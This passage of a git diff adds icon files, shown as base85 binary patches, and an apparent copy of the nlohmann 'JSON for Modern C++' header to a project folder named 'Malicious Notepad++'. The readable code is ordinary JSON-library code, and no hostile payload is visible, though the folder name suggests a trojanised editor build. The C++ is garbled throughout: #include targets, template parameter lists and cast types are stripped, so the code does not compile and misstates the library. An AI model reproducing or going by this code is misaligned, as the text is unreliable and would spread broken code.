zPJIsJK*7)y+J-{kQSf|%DfodxBoRKD6k!^QF`sla;Wsf PZ>`lXTe`0O*stLW;abv` literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/zoomOut_off.ico b/Malicious Notepad++/src/icons/zoomOut_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..012b59a702bd4b32d3f859bb58ecfd5a54287e09 GIT binary patch literal 2998 zcmeIzF=!%r6vy$On}xk*v)7ttZ6@52Dv~z2D~**+Vs9&?v5L)Eh!6rAEK-Ioj^h|B zn_xOOg~Ao7rV18^LbxDWzA+WWJS) zKVC_jyk;`)O8WI1X?;!lj`IxpBbm}`o~0Ug9zO>Cb?&k~lB!oy>0HWJq-;UK1V6-g@GX1=U&J1e`}ke_Hr~Uh@r>K;;+yy~K8N?P z(SH_Rc;SUtK@@ z@P;?M;SFzicZ@i$IL83|F)A$fS z#s~NTzK8emKE92w;!F5EKI`^4yx|RRc*7f>35}T06}Ri0+g0Iq6$(;_AL9f30N=y= z_=M%734Vz0;9K|#zKBm)K8zcvi*Mq~_#EEDCp9Rr34Vz0;9Gb)ZAJX*1_c)4$M^t0 z!1wSpC!s+Bjp&k1vP|Ykk4$RN!^4B_?(TGZd#jt98(m*t>+lx9PWATZ_x(6IV{}B-Ur;#QIY?sXi|!)c;vo(ad*tmIj}m z&I3SoxqQF452xB%QT}odP8^7LW_o{Iub)NHXq-3@>t|GEXCltdW*}bY-E0(Jz-g?k z=`rP}x*LHHh()a4{I}|h39R~jH^KQgcv*MtS^V5Hzx&wqS;fymy|G-5fqMOA`3cmc zSXGX|aTKe|fO*8`HlOuuW14SJ_L1uvHMXnI%X_Z0LqwNumAu6 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/zoomOut_on.ico b/Malicious Notepad++/src/icons/zoomOut_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..102072166802c509a7f0716fc71a0683921e9f0a GIT binary patch literal 2998 zcmeIzF-+rT7{>7@$4S=#bF2o5%VN}uiHH^2F=WaD*|SDs$(E&=7!xT2Bf6ogDrd@q z!j>{5QU@mM29%*nBvh8jVmhhl-u@lq2!~i5s_KUJHD6-i^UHT1ufG^6r#H&yHx<<% zZ=_w`^ZDpX`sEvGV@>*&^E~4RMow>em73V3;!h`6O+wC_&G?O1PBj<|c#i^`|Hv#l zV{khbc{K!IW9Qr9ObzW@e_Q2AL9G?Xm%gnK{wDSjTCM8z^i-u%Nk>OVDijLZ-QCsJ)|NIlHWdD8`sw4xul{#xww)?=YPx35 z=8M`+hg{8^RK3n;=~{sA9M{>~TU;)mM6r92na6Qv{v2oJNt}`Yvsm+$9~>-AKHEtO zK)M`1EbhaO_EyAhQrp`RNOxxTu<1DK^K#ueNcD3b+o!13*JF^*`LxA(40cknW}C#% zc?4KNs#5u. +Copyright (c) 2013-2017 Niels Lohmann . + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +*/ + +#ifndef NLOHMANN_JSON_HPP +#define NLOHMANN_JSON_HPP + +#include // all_of, copy, fill, find, for_each, none_of, remove, reverse, transform +#include // array +#include // assert +#include // isdigit +#include // and, not, or +#include // isfinite, labs, ldexp, signbit +#include // nullptr_t, ptrdiff_t, size_t +#include // int64_t, uint64_t +#include // abort, strtod, strtof, strtold, strtoul, strtoll, strtoull +#include // strlen +#include // forward_list +#include // function, hash, less +#include // initializer_list +#include // setw +#include // istream, ostream +#include // advance, begin, back_inserter, bidirectional_iterator_tag, distance, end, inserter, iterator, iterator_traits, next, random_access_iterator_tag, reverse_iterator +#include // numeric_limits +#include // locale +#include // map +#include // addressof, allocator, allocator_traits, unique_ptr +#include // accumulate +#include // stringstream +#include // domain_error, invalid_argument, out_of_range +#include // getline, stoi, string, to_string +#include // add_pointer, conditional, decay, enable_if, false_type, integral_constant, is_arithmetic, is_base_of, is_const, is_constructible, is_convertible, is_default_constructible, is_enum, is_floating_point, is_integral, is_nothrow_move_assignable, is_nothrow_move_constructible, is_pointer, is_reference, is_same, is_scalar, is_signed, remove_const, remove_cv, remove_pointer, remove_reference, true_type, underlying_type +#include // declval, forward, make_pair, move, pair, swap +#include // vector + +// exclude unsupported compilers +#if defined(__clang__) + #if (__clang_major__ * 10000 + __clang_minor__ * 100 + __clang_patchlevel__) < 30400 + #error "unsupported Clang version - see https://github.com/nlohmann/json#supported-compilers" + #endif +#elif defined(__GNUC__) + #if (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) < 40900 + #error "unsupported GCC version - see https://github.com/nlohmann/json#supported-compilers" + #endif +#endif + +// disable float-equal warnings on GCC/clang +#if defined(__clang__) || defined(__GNUC__) || defined(__GNUG__) + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wfloat-equal" +#endif + +// disable documentation warnings on clang +#if defined(__clang__) + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wdocumentation" +#endif + +// allow for portable deprecation warnings +#if defined(__clang__) || defined(__GNUC__) || defined(__GNUG__) + #define JSON_DEPRECATED __attribute__((deprecated)) +#elif defined(_MSC_VER) + #define JSON_DEPRECATED __declspec(deprecated) +#else + #define JSON_DEPRECATED +#endif + +// allow to disable exceptions +#if not defined(JSON_NOEXCEPTION) || defined(__EXCEPTIONS) + #define JSON_THROW(exception) throw exception + #define JSON_TRY try + #define JSON_CATCH(exception) catch(exception) +#else + #define JSON_THROW(exception) std::abort() + #define JSON_TRY if(true) + #define JSON_CATCH(exception) if(false) +#endif + +/*! +@brief namespace for Niels Lohmann +@see https://github.com/nlohmann +@since version 1.0.0 +*/ +namespace nlohmann +{ + +/*! +@brief unnamed namespace with internal helper functions + +This namespace collects some functions that could not be defined inside the +@ref basic_json class. + +@since version 2.1.0 +*/ +namespace detail +{ +/////////////////////////// +// JSON type enumeration // +/////////////////////////// + +/*! +@brief the JSON type enumeration + +This enumeration collects the different JSON types. It is internally used to +distinguish the stored values, and the functions @ref basic_json::is_null(), +@ref basic_json::is_object(), @ref basic_json::is_array(), +@ref basic_json::is_string(), @ref basic_json::is_boolean(), +@ref basic_json::is_number() (with @ref basic_json::is_number_integer(), +@ref basic_json::is_number_unsigned(), and @ref basic_json::is_number_float()), +@ref basic_json::is_discarded(), @ref basic_json::is_primitive(), and +@ref basic_json::is_structured() rely on it. + +@note There are three enumeration entries (number_integer, number_unsigned, and +number_float), because the library distinguishes these three types for numbers: +@ref basic_json::number_unsigned_t is used for unsigned integers, +@ref basic_json::number_integer_t is used for signed integers, and +@ref basic_json::number_float_t is used for floating-point numbers or to +approximate integers which do not fit in the limits of their respective type. + +@sa @ref basic_json::basic_json(const value_t value_type) -- create a JSON +value with the default value for a given type + +@since version 1.0.0 +*/ +enum class value_t : uint8_t +{ + null, ///< null value + object, ///< object (unordered set of name/value pairs) + array, ///< array (ordered collection of values) + string, ///< string value + boolean, ///< boolean value + number_integer, ///< number value (signed integer) + number_unsigned, ///< number value (unsigned integer) + number_float, ///< number value (floating-point) + discarded ///< discarded by the the parser callback function +}; + +/*! +@brief comparison operator for JSON types + +Returns an ordering that is similar to Python: +- order: null < boolean < number < object < array < string +- furthermore, each type is not smaller than itself + +@since version 1.0.0 +*/ +inline bool operator<(const value_t lhs, const value_t rhs) noexcept +{ + static constexpr std::array order = {{ + 0, // null + 3, // object + 4, // array + 5, // string + 1, // boolean + 2, // integer + 2, // unsigned + 2, // float + } + }; + + // discarded values are not comparable + if (lhs == value_t::discarded or rhs == value_t::discarded) + { + return false; + } + + return order[static_cast(lhs)] < + order[static_cast(rhs)]; +} + + +///////////// +// helpers // +///////////// + +// alias templates to reduce boilerplate +template +using enable_if_t = typename std::enable_if::type; + +template +using uncvref_t = typename std::remove_cv::type>::type; + +// taken from http://stackoverflow.com/a/26936864/266378 +template +using is_unscoped_enum = + std::integral_constant::value and + std::is_enum::value>; + +/* +Implementation of two C++17 constructs: conjunction, negation. This is needed +to avoid evaluating all the traits in a condition + +For example: not std::is_same::value and has_value_type::value +will not compile when T = void (on MSVC at least). Whereas +conjunction>, has_value_type>::value will +stop evaluating if negation<...>::value == false + +Please note that those constructs must be used with caution, since symbols can +become very long quickly (which can slow down compilation and cause MSVC +internal compiler errors). Only use it when you have to (see example ahead). +*/ +template struct conjunction : std::true_type {}; +template struct conjunction : B1 {}; +template +struct conjunction : std::conditional, B1>::type {}; + +template struct negation : std::integral_constant < bool, !B::value > {}; + +// dispatch utility (taken from ranges-v3) +template struct priority_tag : priority_tag < N - 1 > {}; +template<> struct priority_tag<0> {}; + + +////////////////// +// constructors // +////////////////// + +template struct external_constructor; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, typename BasicJsonType::boolean_t b) noexcept + { + j.m_type = value_t::boolean; + j.m_value = b; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, const typename BasicJsonType::string_t& s) + { + j.m_type = value_t::string; + j.m_value = s; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, typename BasicJsonType::number_float_t val) noexcept + { + // replace infinity and NAN by null + if (not std::isfinite(val)) + { + j = BasicJsonType{}; + } + else + { + j.m_type = value_t::number_float; + j.m_value = val; + } + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, typename BasicJsonType::number_unsigned_t val) noexcept + { + j.m_type = value_t::number_unsigned; + j.m_value = val; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, typename BasicJsonType::number_integer_t val) noexcept + { + j.m_type = value_t::number_integer; + j.m_value = val; + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, const typename BasicJsonType::array_t& arr) + { + j.m_type = value_t::array; + j.m_value = arr; + j.assert_invariant(); + } + + template::value, + int> = 0> + static void construct(BasicJsonType& j, const CompatibleArrayType& arr) + { + using std::begin; + using std::end; + j.m_type = value_t::array; + j.m_value.array = j.template create(begin(arr), end(arr)); + j.assert_invariant(); + } +}; + +template<> +struct external_constructor +{ + template + static void construct(BasicJsonType& j, const typename BasicJsonType::object_t& obj) + { + j.m_type = value_t::object; + j.m_value = obj; + j.assert_invariant(); + } + + template::value, + int> = 0> + static void construct(BasicJsonType& j, const CompatibleObjectType& obj) + { + using std::begin; + using std::end; + + j.m_type = value_t::object; + j.m_value.object = j.template create(begin(obj), end(obj)); + j.assert_invariant(); + } +}; + + +//////////////////////// +// has_/is_ functions // +//////////////////////// + +/*! +@brief Helper to determine whether there's a key_type for T. + +This helper is used to tell associative containers apart from other containers +such as sequence containers. For instance, `std::map` passes the test as it +contains a `mapped_type`, whereas `std::vector` fails the test. + +@sa http://stackoverflow.com/a/7728728/266378 +@since version 1.0.0, overworked in version 2.0.6 +*/ +#define NLOHMANN_JSON_HAS_HELPER(type) \ + template struct has_##type { \ + private: \ + template \ + static int detect(U &&); \ + static void detect(...); \ + public: \ + static constexpr bool value = \ + std::is_integral()))>::value; \ + } + +NLOHMANN_JSON_HAS_HELPER(mapped_type); +NLOHMANN_JSON_HAS_HELPER(key_type); +NLOHMANN_JSON_HAS_HELPER(value_type); +NLOHMANN_JSON_HAS_HELPER(iterator); + +#undef NLOHMANN_JSON_HAS_HELPER + + +template +struct is_compatible_object_type_impl : std::false_type {}; + +template +struct is_compatible_object_type_impl +{ + static constexpr auto value = + std::is_constructible::value and + std::is_constructible::value; +}; + +template +struct is_compatible_object_type +{ + static auto constexpr value = is_compatible_object_type_impl < + conjunction>, + has_mapped_type, + has_key_type>::value, + typename BasicJsonType::object_t, CompatibleObjectType >::value; +}; + +template +struct is_basic_json_nested_type +{ + static auto constexpr value = std::is_same::value or + std::is_same::value or + std::is_same::value or + std::is_same::value or + std::is_same::value; +}; + +template +struct is_compatible_array_type +{ + static auto constexpr value = + conjunction>, + negation>, + negation>, + negation>, + has_value_type, + has_iterator>::value; +}; + +template +struct is_compatible_integer_type_impl : std::false_type {}; + +template +struct is_compatible_integer_type_impl +{ + // is there an assert somewhere on overflows? + using RealLimits = std::numeric_limits; + using CompatibleLimits = std::numeric_limits; + + static constexpr auto value = + std::is_constructible::value and + CompatibleLimits::is_integer and + RealLimits::is_signed == CompatibleLimits::is_signed; +}; + +template +struct is_compatible_integer_type +{ + static constexpr auto value = + is_compatible_integer_type_impl < + std::is_integral::value and + not std::is_same::value, + RealIntegerType, CompatibleNumberIntegerType > ::value; +}; + + +// trait checking if JSONSerializer::from_json(json const&, udt&) exists +template +struct has_from_json +{ + private: + // also check the return type of from_json + template::from_json( + std::declval(), std::declval()))>::value>> + static int detect(U&&); + static void detect(...); + + public: + static constexpr bool value = std::is_integral>()))>::value; +}; + +// This trait checks if JSONSerializer::from_json(json const&) exists +// this overload is used for non-default-constructible user-defined-types +template +struct has_non_default_from_json +{ + private: + template < + typename U, + typename = enable_if_t::from_json(std::declval()))>::value >> + static int detect(U&&); + static void detect(...); + + public: + static constexpr bool value = std::is_integral>()))>::value; +}; + +// This trait checks if BasicJsonType::json_serializer::to_json exists +template +struct has_to_json +{ + private: + template::to_json( + std::declval(), std::declval()))> + static int detect(U&&); + static void detect(...); + + public: + static constexpr bool value = std::is_integral>()))>::value; +}; + + +///////////// +// to_json // +///////////// + +template::value, int> = 0> +void to_json(BasicJsonType& j, T b) noexcept +{ + external_constructor::construct(j, b); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, const CompatibleString& s) +{ + external_constructor::construct(j, s); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, FloatType val) noexcept +{ + external_constructor::construct(j, static_cast(val)); +} + +template < + typename BasicJsonType, typename CompatibleNumberUnsignedType, + enable_if_t::value, int> = 0 > +void to_json(BasicJsonType& j, CompatibleNumberUnsignedType val) noexcept +{ + external_constructor::construct(j, static_cast(val)); +} + +template < + typename BasicJsonType, typename CompatibleNumberIntegerType, + enable_if_t::value, int> = 0 > +void to_json(BasicJsonType& j, CompatibleNumberIntegerType val) noexcept +{ + external_constructor::construct(j, static_cast(val)); +} + +template::value, int> = 0> +void to_json(BasicJsonType& j, UnscopedEnumType e) noexcept +{ + external_constructor::construct(j, e); +} + +template < + typename BasicJsonType, typename CompatibleArrayType, + enable_if_t < + is_compatible_array_type::value or + std::is_same::value, + int > = 0 > +void to_json(BasicJsonType& j, const CompatibleArrayType& arr) +{ + external_constructor::construct(j, arr); +} + +template < + typename BasicJsonType, typename CompatibleObjectType, + enable_if_t::value, + int> = 0 > +void to_json(BasicJsonType& j, const CompatibleObjectType& arr) +{ + external_constructor::construct(j, arr); +} + + +/////////////// +// from_json // +/////////////// + +// overloads for basic_json template parameters +template::value and + not std::is_same::value, + int> = 0> +void get_arithmetic_value(const BasicJsonType& j, ArithmeticType& val) +{ + switch (static_cast(j)) + { + case value_t::number_unsigned: + { + val = static_cast( + *j.template get_ptr()); + break; + } + case value_t::number_integer: + { + val = static_cast( + *j.template get_ptr()); + break; + } + case value_t::number_float: + { + val = static_cast( + *j.template get_ptr()); + break; + } + default: + { + JSON_THROW( + std::domain_error("type must be number, but is " + j.type_name())); + } + } +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::boolean_t& b) +{ + if (not j.is_boolean()) + { + JSON_THROW(std::domain_error("type must be boolean, but is " + j.type_name())); + } + b = *j.template get_ptr(); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::string_t& s) +{ + if (not j.is_string()) + { + JSON_THROW(std::domain_error("type must be string, but is " + j.type_name())); + } + s = *j.template get_ptr(); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::number_float_t& val) +{ + get_arithmetic_value(j, val); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::number_unsigned_t& val) +{ + get_arithmetic_value(j, val); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::number_integer_t& val) +{ + get_arithmetic_value(j, val); +} + +template::value, int> = 0> +void from_json(const BasicJsonType& j, UnscopedEnumType& e) +{ + typename std::underlying_type::type val; + get_arithmetic_value(j, val); + e = static_cast(val); +} + +template +void from_json(const BasicJsonType& j, typename BasicJsonType::array_t& arr) +{ + if (not j.is_array()) + { + JSON_THROW(std::domain_error("type must be array, but is " + j.type_name())); + } + arr = *j.template get_ptr(); +} + +// forward_list doesn't have an insert method +template +void from_json(const BasicJsonType& j, std::forward_list& l) +{ + // do not perform the check when user wants to retrieve jsons + // (except when it's null.. ?) + if (j.is_null()) + { + JSON_THROW(std::domain_error("type must be array, but is " + j.type_name())); + } + if (not std::is_same::value) + { + if (not j.is_array()) + { + JSON_THROW(std::domain_error("type must be array, but is " + j.type_name())); + } + } + for (auto it = j.rbegin(), end = j.rend(); it != end; ++it) + { + l.push_front(it->template get()); + } +} + +template +void from_json_array_impl(const BasicJsonType& j, CompatibleArrayType& arr, priority_tag<0>) +{ + using std::begin; + using std::end; + + std::transform(j.begin(), j.end(), + std::inserter(arr, end(arr)), [](const BasicJsonType & i) + { + // get() returns *this, this won't call a from_json + // method when value_type is BasicJsonType + return i.template get(); + }); +} + +template +auto from_json_array_impl(const BasicJsonType& j, CompatibleArrayType& arr, priority_tag<1>) +-> decltype( + arr.reserve(std::declval()), + void()) +{ + using std::begin; + using std::end; + + arr.reserve(j.size()); + std::transform( + j.begin(), j.end(), std::inserter(arr, end(arr)), [](const BasicJsonType & i) + { + // get() returns *this, this won't call a from_json + // method when value_type is BasicJsonType + return i.template get(); + }); +} + +template::value and + not std::is_same::value, int> = 0> +void from_json(const BasicJsonType& j, CompatibleArrayType& arr) +{ + if (j.is_null()) + { + JSON_THROW(std::domain_error("type must be array, but is " + j.type_name())); + } + + // when T == BasicJsonType, do not check if value_t is correct + if (not std::is_same::value) + { + if (not j.is_array()) + { + JSON_THROW(std::domain_error("type must be array, but is " + j.type_name())); + } + } + from_json_array_impl(j, arr, priority_tag<1> {}); +} + +template::value, int> = 0> +void from_json(const BasicJsonType& j, CompatibleObjectType& obj) +{ + if (not j.is_object()) + { + JSON_THROW(std::domain_error("type must be object, but is " + j.type_name())); + } + + auto inner_object = j.template get_ptr(); + using std::begin; + using std::end; + // we could avoid the assignment, but this might require a for loop, which + // might be less efficient than the container constructor for some + // containers (would it?) + obj = CompatibleObjectType(begin(*inner_object), end(*inner_object)); +} + +// overload for arithmetic types, not chosen for basic_json template arguments +// (BooleanType, etc..); note: Is it really necessary to provide explicit +// overloads for boolean_t etc. in case of a custom BooleanType which is not +// an arithmetic type? +template::value and + not std::is_same::value and + not std::is_same::value and + not std::is_same::value and + not std::is_same::value, + int> = 0> +void from_json(const BasicJsonType& j, ArithmeticType& val) +{ + switch (static_cast(j)) + { + case value_t::number_unsigned: + { + val = static_cast(*j.template get_ptr()); + break; + } + case value_t::number_integer: + { + val = static_cast(*j.template get_ptr()); + break; + } + case value_t::number_float: + { + val = static_cast(*j.template get_ptr()); + break; + } + case value_t::boolean: + { + val = static_cast(*j.template get_ptr()); + break; + } + default: + { + JSON_THROW(std::domain_error("type must be number, but is " + j.type_name())); + } + } +} + +struct to_json_fn +{ + private: + template + auto call(BasicJsonType& j, T&& val, priority_tag<1>) const noexcept(noexcept(to_json(j, std::forward(val)))) + -> decltype(to_json(j, std::forward(val)), void()) + { + return to_json(j, std::forward(val)); + } + + template + void call(BasicJsonType&, T&&, priority_tag<0>) const noexcept + { + static_assert(sizeof(BasicJsonType) == 0, + "could not find to_json() method in T's namespace"); + } + + public: + template + void operator()(BasicJsonType& j, T&& val) const + noexcept(noexcept(std::declval().call(j, std::forward(val), priority_tag<1> {}))) + { + return call(j, std::forward(val), priority_tag<1> {}); + } +}; + +struct from_json_fn +{ + private: + template + auto call(const BasicJsonType& j, T& val, priority_tag<1>) const + noexcept(noexcept(from_json(j, val))) + -> decltype(from_json(j, val), void()) + { + return from_json(j, val); + } + + template + void call(const BasicJsonType&, T&, priority_tag<0>) const noexcept + { + static_assert(sizeof(BasicJsonType) == 0, + "could not find from_json() method in T's namespace"); + } + + public: + template + void operator()(const BasicJsonType& j, T& val) const + noexcept(noexcept(std::declval().call(j, val, priority_tag<1> {}))) + { + return call(j, val, priority_tag<1> {}); + } +}; + +// taken from ranges-v3 +template +struct static_const +{ + static constexpr T value{}; +}; + +template +constexpr T static_const::value; +} // namespace detail + + +/// namespace to hold default `to_json` / `from_json` functions +namespace +{ +constexpr const auto& to_json = detail::static_const::value; +constexpr const auto& from_json = detail::static_const::value; +} + + +/*! +@brief default JSONSerializer template argument + +This serializer ignores the template arguments and uses ADL +([argument-dependent lookup](http://en.cppreference.com/w/cpp/language/adl)) +for serialization. +*/ +template +struct adl_serializer +{ + /*! + @brief convert a JSON value to any value type + + This function is usually called by the `get()` function of the + @ref basic_json class (either explicit or via conversion operators). + + @param[in] j JSON value to read from + @param[in,out] val value to write to + */ + template + static void from_json(BasicJsonType&& j, ValueType& val) noexcept( + noexcept(::nlohmann::from_json(std::forward(j), val))) + { + ::nlohmann::from_json(std::forward(j), val); + } + + /*! + @brief convert any value type to a JSON value + + This function is usually called by the constructors of the @ref basic_json + class. + + @param[in,out] j JSON value to write to + @param[in] val value to read from + */ + template + static void to_json(BasicJsonType& j, ValueType&& val) noexcept( + noexcept(::nlohmann::to_json(j, std::forward(val)))) + { + ::nlohmann::to_json(j, std::forward(val)); + } +}; + + +/*! +@brief a class to store JSON values + +@tparam ObjectType type for JSON objects (`std::map` by default; will be used +in @ref object_t) +@tparam ArrayType type for JSON arrays (`std::vector` by default; will be used +in @ref array_t) +@tparam StringType type for JSON strings and object keys (`std::string` by +default; will be used in @ref string_t) +@tparam BooleanType type for JSON booleans (`bool` by default; will be used +in @ref boolean_t) +@tparam NumberIntegerType type for JSON integer numbers (`int64_t` by +default; will be used in @ref number_integer_t) +@tparam NumberUnsignedType type for JSON unsigned integer numbers (@c +`uint64_t` by default; will be used in @ref number_unsigned_t) +@tparam NumberFloatType type for JSON floating-point numbers (`double` by +default; will be used in @ref number_float_t) +@tparam AllocatorType type of the allocator to use (`std::allocator` by +default) +@tparam JSONSerializer the serializer to resolve internal calls to `to_json()` +and `from_json()` (@ref adl_serializer by default) + +@requirement The class satisfies the following concept requirements: +- Basic + - [DefaultConstructible](http://en.cppreference.com/w/cpp/concept/DefaultConstructible): + JSON values can be default constructed. The result will be a JSON null + value. + - [MoveConstructible](http://en.cppreference.com/w/cpp/concept/MoveConstructible): + A JSON value can be constructed from an rvalue argument. + - [CopyConstructible](http://en.cppreference.com/w/cpp/concept/CopyConstructible): + A JSON value can be copy-constructed from an lvalue expression. + - [MoveAssignable](http://en.cppreference.com/w/cpp/concept/MoveAssignable): + A JSON value van be assigned from an rvalue argument. + - [CopyAssignable](http://en.cppreference.com/w/cpp/concept/CopyAssignable): + A JSON value can be copy-assigned from an lvalue expression. + - [Destructible](http://en.cppreference.com/w/cpp/concept/Destructible): + JSON values can be destructed. +- Layout + - [StandardLayoutType](http://en.cppreference.com/w/cpp/concept/StandardLayoutType): + JSON values have + [standard layout](http://en.cppreference.com/w/cpp/language/data_members#Standard_layout): + All non-static data members are private and standard layout types, the + class has no virtual functions or (virtual) base classes. +- Library-wide + - [EqualityComparable](http://en.cppreference.com/w/cpp/concept/EqualityComparable): + JSON values can be compared with `==`, see @ref + operator==(const_reference,const_reference). + - [LessThanComparable](http://en.cppreference.com/w/cpp/concept/LessThanComparable): + JSON values can be compared with `<`, see @ref + operator<(const_reference,const_reference). + - [Swappable](http://en.cppreference.com/w/cpp/concept/Swappable): + Any JSON lvalue or rvalue of can be swapped with any lvalue or rvalue of + other compatible types, using unqualified function call @ref swap(). + - [NullablePointer](http://en.cppreference.com/w/cpp/concept/NullablePointer): + JSON values can be compared against `std::nullptr_t` objects which are used + to model the `null` value. +- Container + - [Container](http://en.cppreference.com/w/cpp/concept/Container): + JSON values can be used like STL containers and provide iterator access. + - [ReversibleContainer](http://en.cppreference.com/w/cpp/concept/ReversibleContainer); + JSON values can be used like STL containers and provide reverse iterator + access. + +@invariant The member variables @a m_value and @a m_type have the following +relationship: +- If `m_type == value_t::object`, then `m_value.object != nullptr`. +- If `m_type == value_t::array`, then `m_value.array != nullptr`. +- If `m_type == value_t::string`, then `m_value.string != nullptr`. +The invariants are checked by member function assert_invariant(). + +@internal +@note ObjectType trick from http://stackoverflow.com/a/9860911 +@endinternal + +@see [RFC 7159: The JavaScript Object Notation (JSON) Data Interchange +Format](http://rfc7159.net/rfc7159) + +@since version 1.0.0 + +@nosubgrouping +*/ +template < + template class ObjectType = std::map, + template class ArrayType = std::vector, + class StringType = std::string, + class BooleanType = bool, + class NumberIntegerType = std::int64_t, + class NumberUnsignedType = std::uint64_t, + class NumberFloatType = double, + template class AllocatorType = std::allocator, + template class JSONSerializer = adl_serializer + > +class basic_json +{ + private: + template friend struct detail::external_constructor; + /// workaround type for MSVC + using basic_json_t = basic_json; + + public: + using value_t = detail::value_t; + // forward declarations + template class iter_impl; + template class json_reverse_iterator; + class json_pointer; + template + using json_serializer = JSONSerializer; + + ///////////////////// + // container types // + ///////////////////// + + /// @name container types + /// The canonic container types to use @ref basic_json like any other STL + /// container. + /// @{ + + /// the type of elements in a basic_json container + using value_type = basic_json; + + /// the type of an element reference + using reference = value_type&; + /// the type of an element const reference + using const_reference = const value_type&; + + /// a type to represent differences between iterators + using difference_type = std::ptrdiff_t; + /// a type to represent container sizes + using size_type = std::size_t; + + /// the allocator type + using allocator_type = AllocatorType; + + /// the type of an element pointer + using pointer = typename std::allocator_traits::pointer; + /// the type of an element const pointer + using const_pointer = typename std::allocator_traits::const_pointer; + + /// an iterator for a basic_json container + using iterator = iter_impl; + /// a const iterator for a basic_json container + using const_iterator = iter_impl; + /// a reverse iterator for a basic_json container + using reverse_iterator = json_reverse_iterator; + /// a const reverse iterator for a basic_json container + using const_reverse_iterator = json_reverse_iterator; + + /// @} + + + /*! + @brief returns the allocator associated with the container + */ + static allocator_type get_allocator() + { + return allocator_type(); + } + + /*! + @brief returns version information on the library + + This function returns a JSON object with information about the library, + including the version number and information on the platform and compiler. + + @return JSON object holding version information + key | description + ----------- | --------------- + `compiler` | Information on the used compiler. It is an object with the following keys: `c++` (the used C++ standard), `family` (the compiler family; possible values are `clang`, `icc`, `gcc`, `ilecpp`, `msvc`, `pgcpp`, `sunpro`, and `unknown`), and `version` (the compiler version). + `copyright` | The copyright line for the library as string. + `name` | The name of the library as string. + `platform` | The used platform as string. Possible values are `win32`, `linux`, `apple`, `unix`, and `unknown`. + `url` | The URL of the project as string. + `version` | The version of the library. It is an object with the following keys: `major`, `minor`, and `patch` as defined by [Semantic Versioning](http://semver.org), and `string` (the version string). + + @liveexample{The following code shows an example output of the `meta()` + function.,meta} + + @complexity Constant. + + @since 2.1.0 + */ + static basic_json meta() + { + basic_json result; + + result["copyright"] = "(C) 2013-2017 Niels Lohmann"; + result["name"] = "JSON for Modern C++"; + result["url"] = "https://github.com/nlohmann/json"; + result["version"] = + { + {"string", "2.1.1"}, + {"major", 2}, + {"minor", 1}, + {"patch", 1} + }; + +#ifdef _WIN32 + result["platform"] = "win32"; +#elif defined __linux__ + result["platform"] = "linux"; +#elif defined __APPLE__ + result["platform"] = "apple"; +#elif defined __unix__ + result["platform"] = "unix"; +#else + result["platform"] = "unknown"; +#endif + +#if defined(__clang__) + result["compiler"] = {{"family", "clang"}, {"version", __clang_version__}}; +#elif defined(__ICC) || defined(__INTEL_COMPILER) + result["compiler"] = {{"family", "icc"}, {"version", __INTEL_COMPILER}}; +#elif defined(__GNUC__) || defined(__GNUG__) + result["compiler"] = {{"family", "gcc"}, {"version", std::to_string(__GNUC__) + "." + std::to_string(__GNUC_MINOR__) + "." + std::to_string(__GNUC_PATCHLEVEL__)}}; +#elif defined(__HP_cc) || defined(__HP_aCC) + result["compiler"] = "hp" +#elif defined(__IBMCPP__) + result["compiler"] = {{"family", "ilecpp"}, {"version", __IBMCPP__}}; +#elif defined(_MSC_VER) + result["compiler"] = {{"family", "msvc"}, {"version", _MSC_VER}}; +#elif defined(__PGI) + result["compiler"] = {{"family", "pgcpp"}, {"version", __PGI}}; +#elif defined(__SUNPRO_CC) + result["compiler"] = {{"family", "sunpro"}, {"version", __SUNPRO_CC}}; +#else + result["compiler"] = {{"family", "unknown"}, {"version", "unknown"}}; +#endif + +#ifdef __cplusplus + result["compiler"]["c++"] = std::to_string(__cplusplus); +#else + result["compiler"]["c++"] = "unknown"; +#endif + return result; + } + + + /////////////////////////// + // JSON value data types // + /////////////////////////// + + /// @name JSON value data types + /// The data types to store a JSON value. These types are derived from + /// the template arguments passed to class @ref basic_json. + /// @{ + + /*! + @brief a type for an object + + [RFC 7159](http://rfc7159.net/rfc7159) describes JSON objects as follows: + > An object is an unordered collection of zero or more name/value pairs, + > where a name is a string and a value is a string, number, boolean, null, + > object, or array. + + To store objects in C++, a type is defined by the template parameters + described below. + + @tparam ObjectType the container to store objects 